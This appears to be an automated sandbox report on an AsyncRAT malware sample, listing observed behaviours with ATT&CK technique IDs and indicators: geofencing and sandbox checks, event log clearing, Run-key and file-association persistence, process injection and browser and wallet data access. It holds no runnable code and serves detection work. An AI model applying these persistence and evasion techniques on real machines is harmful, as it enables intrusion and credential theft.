asyncrat | cb8c4074612cd630a1907bf5aeb4c2ec70bd8ecff6dac5ef1f4704a36abc38c7

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	oyliyr.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	$77SVC~1.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	xbjgpq.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	kfdtjl.cmd.Jla
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	b770d62550d8ff48c7fd45dd04d790f2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	adns.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	oyliyr.exe

Executes dropped EXE 21 IoCs

pid	Process
3932	adns.exe
4696	oyliyr.exe
3896	oyliyr.exe
760	Install.exe
4020	svchost.com
1000	$77SVC~1.EXE
5008	svchost.com
536	svchost.com
2004	WinUpdate.exe
3436	svchost.com
4300	svchost.com
2080	svchost.com
4552	xbjgpq.exe
100	kfdtjl.cmd.Jla
4376	svchost.com
6072	svchost.com
5928	svchost.com
812	svchost.com
5772	svchost.com
3952	rucdml.exe
1076	azqqrx.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx	svchost.exe

Loads dropped DLL 1 IoCs

pid	Process
960	svchost.com

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	oyliyr.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Taskhostw = "C:\\Users\\Admin\\AppData\\Local\\Taskhostw.exe"	b770d62550d8ff48c7fd45dd04d790f2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Okqpfkqo = "C:\\Users\\Admin\\AppData\\Local\\Okqpfkqo.exe"	adns.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Dehfdpa = "C:\\Users\\Admin\\AppData\\Local\\Dehfdpa.cmd"	kfdtjl.cmd.Jla

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1076	powershell.EXE
5148	powershell.EXE
5932	powershell.exe
5976	powershell.exe
4404	powershell.exe
432	powershell.exe
4132	powershell.exe
4476	powershell.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\WinUpdate	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$77pop2	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$77svc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 3060 set thread context of 2060	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	91
PID 3060 set thread context of 5072	3060	b770d62550d8ff48c7fd45dd04d790f2.exe	92
PID 1076 set thread context of 2216	1076	powershell.EXE	110
PID 3932 set thread context of 1608	3932	adns.exe	111
PID 5148 set thread context of 2148	5148	powershell.EXE	170
PID 100 set thread context of 3312	100	kfdtjl.cmd.Jla	171
PID 100 set thread context of 1452	100	kfdtjl.cmd.Jla	172

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOBD5D~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	oyliyr.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~3.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmplayer.exe	oyliyr.exe
File opened for modification	C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaw.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~2.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\MSEDGE~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{63880~1\WINDOW~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	svchost.com
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\BHO\IE_TO_~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\COOKIE~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MI391D~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MI9C33~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wab.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\IDENTI~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\PWAHEL~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	svchost.com
File opened for modification	C:\PROGRA~2\WINDOW~2\wab.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaws.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	oyliyr.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{61087~1\VCREDI~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\INSTAL~1\setup.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\PWAHEL~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MICROS~4.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MICROS~2.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\ELEVAT~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF5AF~1\WINDOW~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\setup_wm.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GO664E~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\msedge.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13195~1.15\MICROS~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\setup_wm.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	svchost.com
File opened for modification	C:\PROGRA~2\WINDOW~4\wmprph.exe	oyliyr.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~3.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~4.EXE	oyliyr.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~2.EXE	oyliyr.exe

Drops file in Windows directory 25 IoCs

description	ioc	Process
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	oyliyr.exe
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5868	4524	WerFault.exe	198

System Location Discovery: System Language Discovery 1 TTPs 56 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b770d62550d8ff48c7fd45dd04d790f2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77SVC~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfdtjl.cmd.Jla
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcopy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oyliyr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oyliyr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	adns.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	azqqrx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rucdml.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
4500	timeout.exe
3276	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Gathers network information 2 TTPs 8 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3744	ipconfig.exe
3992	ipconfig.exe
5268	ipconfig.exe
4356	ipconfig.exe
5112	ipconfig.exe
5452	ipconfig.exe
4392	ipconfig.exe
4008	ipconfig.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
